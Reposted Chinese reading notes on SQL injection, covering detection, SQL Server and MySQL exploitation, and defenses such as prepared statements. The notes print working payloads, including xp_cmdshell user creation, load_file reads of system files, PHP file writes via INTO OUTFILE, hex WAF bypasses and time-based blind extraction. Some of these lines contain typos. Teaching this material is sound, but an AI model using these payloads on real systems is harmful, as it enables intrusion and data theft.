《Web安全深度解析》读书笔记-原理篇-SQL注入

SQL注入漏洞分类

分为:数字型和字符型

数字型注入:在弱类型语言中容易产生该类漏洞,如ASP、PHP。

强类型语言中如果试图将一个字符型转换为int型,则会抛出异常,无法继续执行,如JAVA、C#等。

所以在强类型语言中很少存在数字型注入漏洞。

判定如类型语言的 数字型注入漏洞三步走:

前提:假设有URL为HTTP://www.xxser.com/test.php?id=8,可以猜测其SQL为select * from table where id=8

测试步骤:

1、HTTP://www.xxser.com/test.php?id=8'

SQL语句为HTTP://www.xxser.com/test.php?id=8',这样的语句肯定会出错,

导致脚本程序无法从数据库中获取正常数据,从而是原来的页面出现异常。

2、HTTP://www.xxser.com/test.php?id=8 and 1=1

SQL语句为select * from table where id=8 and 1=1,语句执行正常,返回数据与原始请求无差异。

3、HTTP://www.xxser.com/test.php?id=8 and 1=2

SQL语句变为select * from table where id=8 and 1=2,语句执行正常,但却无法查询出数据,

因为“1=2”始终为假。所以返回数据与原始请求有差异。

如果以上三个步骤全部满足,则程序就可能存在SQL注入漏洞。

字符型注入:输入参数为字符时,成为字符型

数字型和字符型的区别在于,数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。

数字型例句:select * from table where id=8

字符型例句:select * from table where username='admin'

字符型注入最关键的在于如何闭合SQL语句以及注释掉多余的代码。

例如:

当查询内容为字符串时,SQL代码如下:

select * from table where username='admin'

当攻击者进行SQL注入时,如果过输入“amdin and 1=1”,则无法进行注入。

因为“amdin and 1=1” 会被数据库当做查询条件字符串来处理,SQL如下:

selec * from table where username = 'admin and 1=1'

这时想要进行注入,则必须注意字符串闭合问题。如果输入“admin ’and 1=1 --”就可以继续注入,SQL如下:

select * from table where username ='admin' and 1=1 --'

只要会字符串类型注入,都必须闭合单引号以及注释掉多余的代码。例如,uodate语句:

update Person set username='username' ,set password='password' where id=1

现在对该语句进行注入,就需要闭合单引号,可以在username或者password处插入语句为:

"'+(select @@version)+'",

最终的执行语句为:

update Person set username='username', set password=''+(select @@version)+ '' where id =1

利用两次单引号闭合才能完成SQL注入

注:数据库不同,字符串连接符也不同,

如SQL Server 连接符号为“+”,Oracle连接符号为“||”,Mysql的连接符号为空格

例如Insert语句:

Insert into users (username,password,title) values('username', 'password','titile')

当注入title字段时,可以像update一样,直接使用一下SQL语句:

Insert into users (username,password,title) values('username', 'password',''+(select @@version)+'')

SQL注入类型

总体来讲还是分为两类,数字型和字符型

注入字段在不同的位置,产生一些常见的注入叫法:

POST注入:注入字段在POST数据中

Cookie注入:注入字段在Cookie数据中

延时注入:使用数据库延时特性注入

搜索注入:注入处为搜索的地点

base64注入:注入字符串需要经过base64加密

常见的数据库注入

数据库:Oracle11g,MySQL5.1,SQL Server 2008

方式:查询数据,读写文件,执行命令

针对数据库的注入无非都是上面三件事。

5.3.1、SQL Server

1、利用错误消息提取信息

SQL Server对错误信息的定位十分准确,对开发是好事儿,对攻击者也是不错的。

1.1 枚举当前表和列

在查询sql中插入如下语句: 'having 1=1--

select * from users where username='root' and password='root' having 1=1 --'

这样SQL执行器会报错,选择列表中的列’users.id‘无效,因为该列没有包含在聚合函数或group By子句中。

这样攻击者可以利用此特性继续找到其他的列明,输入SQL如下:

select * from users where username='root' and password='root' group by users.id having 1=1 --

1.2 利用类型错误提取数据

试图利用不同类型字段之间的比较,使得sql编译器抛出异常,获取信息,如下SQL:

select * from users where username='root' and password='root'

and 1 > (select top 1 username from users)

执行器错误提示:

在将varchar值’root‘转换成数据类型int时失败,这样就暴露了root这个账户,一次递归会发现所有的账户

select * from users where username='root' and password='root' and

1>(select top 1 username from users where username not in ('root'))

如果不嵌套子查询,也同样可以达到目的,需要用到SQL Server的内置函数CONVERT或者CASE函数,

这两个函数的功能是:将一种数据类型 转转为另一种数据类型。

输入如下SQL语句:

select * from users where username='root' and password='root'

and 1=convert(int ,(select top 1 users.username from users))

如果感觉递归比较麻烦,可以通过FOR XML PATH语句将查询的数据生成XML,SQL语句如下:

select* from users where username='root' and password='root'

AND 1=convert(int, (select stuff((select',' + users.usrename,'|' +

users.password from users for xml path ('')),1,1,'')))

2、获取元数据

SQL Server提供大量的视图,便于取得元数据。下面使用information_schema.tables 与

information_schema.columns视图取得数据库表以及表的字段。

取得当前数据库表:

select table_name from infromation_schema.tables

取得表Student表字段:

select columnname from information_schema.columns where table_name='Student'

还有其他的一些视图:

sys.databases:SQL Server中所有的数据库

sys.sql_logins:SQL Server所有登录名

information_schema.tables:当前用户数据库中的表

information_schema.columns:当前用户数据库中的列

sys.all_columns:用户定义对象和系统对象的所有列的联合

sys.databases_principals:数据库中每个权限或列异常权限

sys.databases_files:存储在数据库中的数据库文件

sysobjects:数据库中创建的每个对象,例如:约束、日志 以及存储过程

3、Orderby子句

为SELECT查询的列排序,如果同时指定了TOP关键字,Order by子句在视图、内联函数、派生表和子查询中无效。

攻击者通常会通过注入Order by语句来判断此表的列数。

SQL语句:

1 、select id,username,password, from users where id=1 -------SQL执行正常

2 、select id,username,password, from users where id=1 Order by 1 ---按照第一列排序,SQL执行正常

3、select id,username,password, from users where id=1 Order by 2 ---按照第二列排序,SQL执行正常

4、select id,username,password, from users where id=1 Order by 3 ---按照第三列排序,SQL执行正常

5、select id,username,password, from users where id=1 Order by 4 ---按照第四列排序,SQL执行异常

错误提示:Order by 位置号 4 超出了选择列表中相熟的范围

这样攻击者得知当前SQL语句有几列,随后会配合union关键字进行下一步的攻击

4、Union查询

union关键字将两个或者更多个查询结果组合为单个结果集,俗称联合查询。

使用union合并两个查询结果集的基本规则:

1、所有查询中的列数必须相同

2、数据类型必须兼容

例如,联合查询探测字段数

前面介绍的USERS表,查询ID字段为1 的用户,正常的SQL语句

select id ,username,password from users where id=1

使用Union查询对id字段注入,SQL语句如下:

select id,username,password,sex from users where id=1 union select null

数据库发生异常,:使用union,intersect或者except运算符合并的所有查询必须再起目标列中有相同的表达式

递归查询,知道无错误差生,可得知User表查询的字段数

union select null,null

union select null,null,null

也有人喜欢使用select 1,2,3语句,不过该语句容易出现类型不兼容的异常。

例二:联合查询敏感信息

上面例子介绍如何获取字段数,接下来曝光攻击者如何使用union关键字查询敏感信息,

union查询可以在SQL注入中发挥非常大的作用。

得知四列后,可以使用一下语句继续注入:

id=5 union select 'x',null,null,null from stsobject where xtype='U'

如果数据类型不匹配,数据库会报错,这是可以继续递归查询,知道语句正常执行为止。

语句执行正常,代表数据类型兼容,就可以将x替换为SQL语句,查询敏感信息。

union和union all 最大的区别在于union会自动去除重复的数据,并且按照默认规则排序。

5、无辜的函数

SQL Server存在一些系统函数,利用系统函数可以方位SQL Server系统表中的信息。

select suser_name();返回用户的登陆标识号

select user_name():基于指定的标识号返回数据库的用户名

select db_name():返回数据库名称

select is_member('db_owener'):是否为数据库角色

select convert(int,'5'):数据类型转换

SQL Server常用函数:

stuff:字符串截取函数

ascii:取ASCII码

char:根据ASCII码取字符

getdate:返回日期

count:返回卒中的总条数

cast:将一种数据类型的表达式显示的转换成另一种数据类型的表达式

rand:返回随机值

is_srvrolemember:只是SQL Server登录名是否为指定服务器角色的成员

6、危险的存储过程

存储过程(Stored Procedure) 是在大型数据库系统中为了完成特定功能的一组SQL“函数”。

如执行系统命令,查看注册表,读取磁盘目录等。

攻击者最常使用的存储过程是 xp_cmdshell,这个存储过程允许用户执行操作系统命令。例如:

http://demo.testfire.net/test.aspx?id=1 存在注入点,那么攻击者可以试试攻击:

http://demo.testfire.net/test.aspx?id=1;exec xp_cmdshell 'bet user test test /add'

最终执行的SQL语句如下:

select * from table where id=1;exec xp_cmdshell 'bet user test test /add'

攻击者可以直接利用xp_cmdshell操作服务器。

注:只有持有control server 权限的用户才能使用此类存储过程。

常见的存储过程:

sp_addlogin:创建新的SQL Server登录,该登录允许用户使用SQL Server身份验证连接到SQL Server实例

sp_dropuser:从当前数据库中删除数据库用户

xp_enumgroups:提供Windows本地组列表或指定的Windows域中定义的全局组列表

xp_regwrite:违背公布的存储过程,写入注册表

xp_regread:读取之策表

xp_regdeletevalue:删除注册表

xp_dirtree:读取目录

sp_password:更改密码

xp_servicecontrol:停止或激活某服务

另外,任何一种数据库在使用一些特殊的函数或者存储过程时,都需要特定的权限,否则无法使用。

SQL Server数据库的觉得与权限如下:

bulkadmin:运行BULK INSERT语句

dbcreator:创建,更改,删除和还原任何数据库

diskadmin:管理磁盘文件

processadmin:可以终止在数据库引擎中实例中运行的进程

securityadmin:管理登录名及其属性。可以利用grant,deny和revoke服务器级别的权限,

还可以利用grant,deny,和revoke数据库级别的权限,还可以重置SQL Server登录名的密码

serveradmin:可以更改服务器范围的配置选项和关闭服务器

setupadmin:可以添加或删除链接服务器,并可以执行某些系统存储过程

sysadmin:角色成员可以在数据库引擎中执行任何活动。

默认情况下Windows BUILTIN\Administrator组的所有成员都是sysadmin固定服务器角色的成员。

7、动态执行

SQL Server支持动态执行语句,用户可以通过提交字符串来执行SQL语句,例如:

exec('select username,password from users')

exec('selec'+'t username ,password fro' + 'm users')

由于大部分Web应用程序防火墙都过滤了单引号,利用exec执行十六进制SQL语句并不存在单引号,

这一特殊性可以突破很多防火墙及防注入程序,如:

declare @query varchar(888)

select @query=0x73656C6563742031

exec(@query)

或者:

declare /**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

5.3.2、MySQL

数据库的注入过程基本上是类型,不同的是各个数据的一些使用函数或语句有些差异,

如,查看数据库SQL Server使用函数@@version,而MySQL是version()。

1、MySQL中的注释

#:注释从 # 字符到行尾

--:注释从 --序号到行尾,需要注意的是,使用此注释时,后面需要跟上一个或者多个空格或tag都可以

/**/:注释从/*序列到*/序列中间的字符,其中/**/注释存在一个特点

select id /*!5555, username */ from users

执行结果中发现/**/注释没有起到作用,语句正常执行。其实这不是注释,而是/*!*/,感叹号是有特殊意义的,

如/*!5555,username*/的意思是

若MySQL的版本号高于或者等于5.55.55,语句将会被执行,如果!后面不加版本号,MySQL将会直接执行SQL语句。

2、获取元数据

MySQL5.0及其以上版本提供了INFORMATION_SCHEMA,INFORMATION_SCHEMA是信息数据库,

它提供了访问数据库元数据的方式。下面介绍如果从中读取数据库名称、表名称、列名称。

1、查询用户数据库名称

select schema_name from information_schema.shemata limit 0,1

--从information_schema.shemata表中查询第一个数据库名称

2、查询当前数据库表

select table_name from information_schema.tables where table_schema=(sleect database()) limit 0,1

--查询当前数据库表,只显示第一条数据

3、查询指定表的所有字段

select column_name from information_schema.columns where table_name='Student' limit 0,1

-- 查询 table_name为Student的字段名

3、UNION查询

MySQL的官方解释union查询 用于吧来自许多的select语句的结果组合到一个结果集中,且每列的数据类型必须相同。

MySQL和Oracle不像SQL Server那样可以执行多语句,所以在利用查询是,通常配合union关键字。

MySQL和SQL Server中执行:

select id ,username,password from users union select 1,2,3

Oracle中执行:

select id ,username,password from users union select 1,2,3 from dual

执行后,SQL Server和Oracle 报错,数据类型不匹配,无法正常执行,MySQL语句正常执行。

由此返现,在Oracle和SQL Server中,列的数据类型在不确定的情况下,最好使用NULL关键字匹配。

注意:1、UNION 结果集中的列名总是等于第一个 SELECT 语句中的列名

2、UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同

MySQL的Group by

group by语法可以根据给定数据列的每个成员对查询结果进行分组统计,最终得到一个分组汇总表

SELECT DEPT, MAX(SALARY) AS MAXIMUM FROM STAFF GROUP BY DEPT

注意:

必须在group子句之前指定where子句,

在SELECT语句中指定的每个列名也在GROUP BY子句中提到。未在这两个地方提到的列名将产生错误。

在group by子句后使用HAVING子句,HAVING子句可包含一个或多个用AND和OR连接的谓词,

HAVING 子句基本上总是包含聚集函数

如:select uid,email,count(*) as ct from `edm_user081217` GROUP BY email HAVING ct > 1

先用group by 对email进行分组,在用having来过滤大于1的,这样查找出来的就是重复的记录了.

WHERE 子句作用于表和视图,HAVING 子句作用于组。

4、MySQL函数利用

1、load_file()函数读取文件操作

文件必须在服务器上,文件的路径必须为绝对路径(全路径),而且用户必须持有FILE权限,文件容量也必须小于 max_allowed_packet字节(默认16MB,最大1GB)

SQL语句,union select 1, load_file('/etc/password'),3,4,5,6 #

通常,一些防注入语句不允许单引号出现,那么使用一下语句绕过:

union select 1, load_fille(0x2F6563742F706173737764),3,4,5,6#

0x2F6563742F706173737764为/etc/password十六进制的转换结果,或者使用:

union select 1, load_file(char(47,101,99,116,47,112,97,115,115,117,100))),3,4,5,6 #

在SQL注入中,将会经常出现使用函数组合来达到某种目的,例如,在浏览器返回数据时,有可能出现乱码问题,那么可以使用hex()函数将字符串转换为十六进制数据:

select hex( load_file(char(47,101,99,116,47,112,97,115,115,117,100)));

2、into outfile写文件操作

MySQL提供向磁盘写入文件的操作,与load_file()一样,必须持有FILE权限,并且文件必须为全路径名称。

select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'

select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'

3、连接字符串

在MySQL中如果需要一次性查询多个数据,可以使用concat()或concat_ws()函数

3.1、concat()函数

select name from users where id=1 union select concat(user(),',',database(),',',version());

结果如下:

+*********************************************************+

|name |

+**********************************************************+

| admin |

|xxser |

|root@localhost,mychool,5.1.50-community-log|

+**********************************************************+

可以发现,现在三个值已经成为一列,并且以逗号隔开。在concat()函数中的逗号可以用十六进制表示

concat(user(),0x2c,database(),0x2c,version())

3.2、concat_ws()函数

比concat()函数更简洁

concat_ws(0x2c,user(),database(),version())

select name from users where id=1 union select concat_ws(0x2c,user(),database(),version());

更多常用函数及说明

函数说明
length返回字符串长度
substring截取字符串长度
asscii返回ASCII码
hex把字符串转换 为十六进制
now当前系统时间

 

unhexhex的反向操作
floor(x)返回不大于x的最大整数值
md5返回MD5值
group_concat返回带有来自一个组的连接的非NULL值的字符串结果
@@datadir读取数据库路径
@@basedirMySQL安装路径

 

@@version_complite_os操作系统
user用户名
current_user当前用户名
system_user系统用户名
database数据库名
versionMySQL数据库版本

5、MySQL显错式注入

显错式注入,即利用数据库的报错信息提取消息。

6、宽字节注入

是由编码不统一造成的,这种注入一般出现在PHP+MySQL中。

7、MySQL长字符截取

在默认情况下,如果输入数据超过默认长度,MySQL会将其截断。

8、延时注入

由于网站技术的不断提升,在url中添加什么语句都不会有变化,只能通过盲注判断,盲注即页面无差异的注入。

延时注入属于盲注的一种,是一种基于时间差异的注入技术,下面以MySQL为例,主要讲一下延时注入

在MySQL中有一个函数:SLEEP(duration),这个函数的意思是在duration参数给定的秒数后运行语句,如下sql:

select * from users where id=1 and sleep(3); /*三秒后执行SQL语句*/

知道了sleep函数可以延时后,那就可以使用这个函数来判断URL是否存在SQL注入漏洞,步骤如下:

1、http://www.secbug.com/user.jsp?id=1 //页面返回正常,1秒左右打开界面

2、http://www.secbug.com/user.jsp?id=1 ' //页面返回正常,1秒左右可以打开页面

3、http://www.secbug.com/user.jsp?id=1 ' and 1=1 //页面返回正常, 1秒左右可以打开页面

4、http://www.secbug.com/user.jsp?id=1 and sleep(3) //页面返回正常,3秒左右可以打开页面

通过页面返回的时间可以断定,DBMS执行了and sleep(3)语句,这样一来,就可以判断出URL确实存在SQL漏洞。

通过sleep函数可以判断出注入点,那么能读出数据吗?

答案是肯定可以的,但是需要与其他函数配合使用,下面就是通过延时韩式注入读取当前MySQL用户的例子。

思路:

1、查询当前用户,并取得字符串长度

2、截取字符串的第一个字符,并转换为ASCII码

3、将第一个字读的ascii码与ASCII码表对比,如果过比对成功则延时3秒

4、继续步骤2/3,直至字符串截取完毕

对应的SQL语句如下:

1、and if(length(user())=0, sleep(3),1)

循环0,如果出现3秒延迟,就可以判断出user字符串长度,注入时通常会采用半折算法减少判断。

2、and if(hex(mid(user(),1,1))=1, sleep(3),1)

取出user字符串的第一个字符,然后与ASCII码表循环对比

3、and if(hex(mid(user(),L,1))=N,sleep(3),1)

递归破解第二个ASCII码,第三四五个ASCII码

同理,既然通过延时注入可以读取数据库当前MySQL用户,那么读取表、列、文件都是可以实现的。

注:L是位置代表字符串的第几个字符,N的位置代表ASCII码。

SQL Server中的waitfor delay,Oracle中DBMS_LOCK.SLEEP等函数。

5.4、注入工具

SQLMap,pangolin,Havij

5.5、防止SQL注入

SQL注入攻击的问题最终归于用户可以控制输入,SQL注入、xss、文件包含、命令执行都可归于此。

有输入的地方就可能存在风险。简单粗暴的方式:

禁止或者过滤掉单引号,问题是外国人的名字中有单引号,数字型注入也不一定会使用单引号

禁止输入查询语句,如select,insert,union关键字,问题是可以通过注释绕过关键字,

如sel/**/ect等,对注释进行分割,且不影响数据库的正常执行。

5.5.1、严格的数据类型

Java和C#等强类型语言基本上可以完全忽略数字型注入,例如请求ID为1的新闻,攻击者想要注入几乎不可能

5.5.2、特殊字符转义

通过加强数据类型校验可以解决数字型的SQL注入,字符型却不可以,因为他们都是string类型,你无法判断输入是否为恶意攻击。

对特殊字符转义--在数据库查询字符串时,任何字符串都需要加上单引号。将这些特殊字符转义能够有效防御字符型SQL注入。

需要转义的字符参考OWASP ESAPI

在特殊字符转义过滤SQL注入时,需要注意“二次注入攻击”

在第一次注入时,将特殊字符转义,但是在数据库中存储时却没有‘\’,在第二次查询时使用单引号匹配注入,如:

第一次插入数据时,单引号被转义

insert into message(id,title,content) values(3,'secbug\'','secbug.org')

单引号已经被转义,这样注入攻击就无法成功,但,secbug\'在插入数据库后去没有了"\",语句如下:

+*****+*****************+*********************+

|id | title | content |

+****+*******************+*******************+

|1 | secbug' | secbug.org |

+****+*******************+*******************+

这样如果有另一处查询为:

select id,title,content from message where title='$title'

那么正宗攻击就称为二次SQL注入,比如讲title改为

‘ union select 1, @@version 3 --

,目前很多开源系统都存在这样的问题,第一次不会出现漏洞,但是第二次却出现了SQL注入漏洞。

5.5.3 使用预编译语句

Java、C#等语言提供了预编译语句。

Java中提供了三个接口与数据库交互,Statement,CallableStatement,PreparedStatement.

Statement用于执行静态SQL语句,并返回它们所生成的结果对象。

PrepareStatement为Statement子类,表示预编译SQL语句对象。

CallableStatement为PrepareStatement的子类,用于执行SQL存储过程。

虽然PrepareStatement接口是安全的,但是如果使用动态拼接SQL语句,那就会失去它的安全性。

想要使PrepareStatement防御SQL注入,必须使用它提供的setter方法(setShort、setString等)。

5.5.4、框架技术

在众多框架中,有一类框架专门与数据库打交道,被称为持久层框架,比如Hibernate,MyBatis,JORM。

简要介绍Hibernate:

Hibernate是一个开源代码的ORM(对象关系映射)框架,他对JDBC进行非常轻量级的对象封装,

是的Java程序要可以随心所欲的神勇面向对象思维操作数据库。

Hibernate是跨平台的,几乎不需要修改SQL语句即可适用于各种数据库,

它的安全性较高,但也同样存在注入,这类对象关系映射框架注入也被称为ORM注入。

Hibernate自定义的SQL语言叫作HQL,是一种面向对象的查询语言。

使用此语言时千万不要使用动态拼接的方式组成SQL语句,否则可能造成SQL注入。

5.5.5、存储过程(Stored Procedure)

在存储过程中直接使用exec执行SQL语句,这和直接写select* from Student where StudentNo=id 没有区别,传入参数3 or 1=1

将查询出全部数据,造成SQL注入漏洞。例如:

create proc findUserId @id varchar(100)

as

exec('select * from Student where StudentNo= ' +@id);

go

改进为:

create proc findUserId @id varchar(100)

as

select * from Student where StudentNo=@id

go

参数3 or 1=1,SQL执行器抛出错误:

在将varchar值'3 or 1=1'转换为数据类型int时失败。

小结:

SQL注入的危害虽然很大,但是可以完全杜绝,陈旭开发团队一定要有自己的安全规范模板,因为不可能每个程序员都了解SQL注入,所以团队有一套自己的模板后,SQL注入会大大减少。比如碰到SQL语句完全采用PrepareStatement类,且必须用参数绑定,如果这样还存在SQL注入,那就是某个程序员没有遵循规范,这样就从安全转移到代码规范的问题上,只要遵循规范,不会有问题,这一方法无论是SQL注入,还是后面的其他漏洞,都适用。

转载于:https://my.oschina.net/u/992550/blog/1377550

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值